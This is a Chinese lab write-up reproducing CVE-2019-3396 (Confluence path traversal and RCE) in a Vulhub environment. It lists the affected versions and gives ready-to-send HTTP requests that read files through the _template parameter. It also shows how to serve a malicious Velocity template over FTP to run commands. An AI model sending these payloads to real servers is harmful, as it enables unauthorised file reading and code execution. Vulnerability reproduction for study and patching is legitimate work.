Confluence CVE-2019-3396路径穿越&RCE漏洞复现

漏洞说明:

1
2
3
4
5
6
7
8
9
10
11
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,并且可以利用Velocity模板注入执行任意命令。
漏洞影响版本:
Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*
Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*
Confluence 6.6.* < 6.6.12
Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*
Confluence 6.12.* < 6.12.3
Confluence 6.13.* < 6.13.3
Confluence 6.14.* < 6.14.2
漏洞成因:
_template参数覆盖Velocity渲染模板, 利用file:协议可以进行任意文件读取(不再受限于classpath)

环境:

Vulhub+Centos7.2

步骤:

参考vulhub搭建好环境

image-20201123153420871

路径穿越

复现POC

1
2
3
4
5
6
7
8
9
10
11
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.116.132:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Referer: http://192.168.116.132:8090
Content-Type: application/json; charset=utf-8
Content-Length: 169

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6t","width":"1000","height":"1000","_template":"../web.xml"}}}

复现截图:

image-20201123173702062

读取passwd文件

image-20201123182204113

也可以进行SSRF探测

命令执行

远程命令执行POC就是把模板换成远程RCE VM文件

VM后缀的文件是基于java的velocity模板引擎的一种页面控制文件,你可以用文本编译器打开,能够看到他只是一些类似html的语句和一种叫VLT的语句构成的。

下载VM到本地,搭建ftp环境

1
2
pip install pyftpdlib
python -m pyftpdlib -p 21

image-20201123184708168

复现POC:

1
2
3
4
5
6
7
8
9
10
11
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.116.132:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Referer: http://192.168.116.132:8090
Content-Type: application/json; charset=utf-8
Content-Length: 202

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6t","width":"1000","height":"1000","_template":"ftp://192.168.116.132/cmd.vm","cmd":"whoami"}}}

image-20201123184908648